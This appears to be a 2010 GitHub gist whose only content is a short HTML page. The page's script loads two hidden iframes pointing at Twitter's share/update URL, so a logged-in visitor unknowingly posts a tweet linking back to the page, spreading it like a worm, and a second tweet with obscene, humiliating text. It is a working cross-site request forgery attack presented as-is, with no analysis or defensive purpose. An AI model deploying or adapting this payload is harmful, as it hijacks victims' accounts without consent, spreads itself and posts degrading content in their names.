Skip to content

Instantly share code, notes, and snippets.

@fritz0705
Created September 26, 2010 18:15
Show Gist options
  • Save fritz0705/598169 to your computer and use it in GitHub Desktop.
Save fritz0705/598169 to your computer and use it in GitHub Desktop.
<html>
<head></head>
<body>
<script>
var el1 = document.createElement('iframe');
var el2 = document.createElement('iframe');
el1.style.visibility="hidden";
el2.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
document.getElementsByTagName("body")[0].appendChild(el1);
document.getElementsByTagName("body")[0].appendChild(el2);
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment